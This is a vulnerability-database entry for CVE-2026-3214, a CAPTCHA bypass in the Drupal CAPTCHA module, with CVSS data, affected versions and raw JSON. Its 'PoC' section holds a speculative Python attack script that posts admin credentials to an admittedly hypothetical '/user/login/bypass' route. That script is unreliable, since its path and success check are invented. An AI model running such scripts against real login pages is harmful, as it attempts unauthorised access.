Security Vulnerability Report
中文
CVE-2026-3214 CVSS 6.5 MEDIUM

CVE-2026-3214

Published: 2026-03-25 16:16:22
Last Modified: 2026-04-02 20:36:11

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal CAPTCHA allows Functionality Bypass.This issue affects CAPTCHA: from 0.0.0 before 1.17.0, from 2.0.0 before 2.0.10.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:arnabdotorg:captcha:*:*:*:*:*:drupal:*:* - VULNERABLE
cpe:2.3:a:arnabdotorg:captcha:*:*:*:*:*:drupal:*:* - VULNERABLE
CAPTCHA >= 0.0.0, < 1.17.0
CAPTCHA >= 2.0.0, < 2.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-3214 Authentication Bypass import requests def bypass_captcha(target_url): """ Attempts to bypass CAPTCHA by accessing an alternate path. This is a simulation based on the vulnerability description. """ # Normal path usually requires CAPTCHA solution normal_path = "/user/login" # Hypothetical alternate path that bypasses verification alternate_path = "/user/login/bypass" session = requests.Session() # Payload data typically required for the action payload = { "name": "admin", "pass": "password", "form_id": "user_login" } try: print(f"[*] Targeting: {target_url}") # Attempt to access the alternate path directly response = session.post(f"{target_url}{alternate_path}", data=payload) if response.status_code == 200 and "login successful" in response.text: print("[+] Potential Bypass Successful!") else: print("[-] Bypass failed or patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" bypass_captcha(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3214", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:22.490", "lastModified": "2026-04-02T20:36:11.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal CAPTCHA allows Functionality Bypass.This issue affects CAPTCHA: from 0.0.0 before 1.17.0, from 2.0.0 before 2.0.10."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación usando una ruta o canal alternativo en Drupal CAPTCHA permite la omisión de funcionalidad. Este problema afecta a CAPTCHA: desde 0.0.0 antes de 1.17.0, desde 2.0.0 antes de 2.0.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arnabdotorg:captcha:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.17", "matchCriteriaId": "1E80D35D-CC93-4EE7-BF90-D228FFA6C642"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arnabdotorg:captcha:*:*:*:*:*:drupal:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.10", "matchCriteriaId": "467B3608-A978-494B-A32B-0662D997FEFC"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-015", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}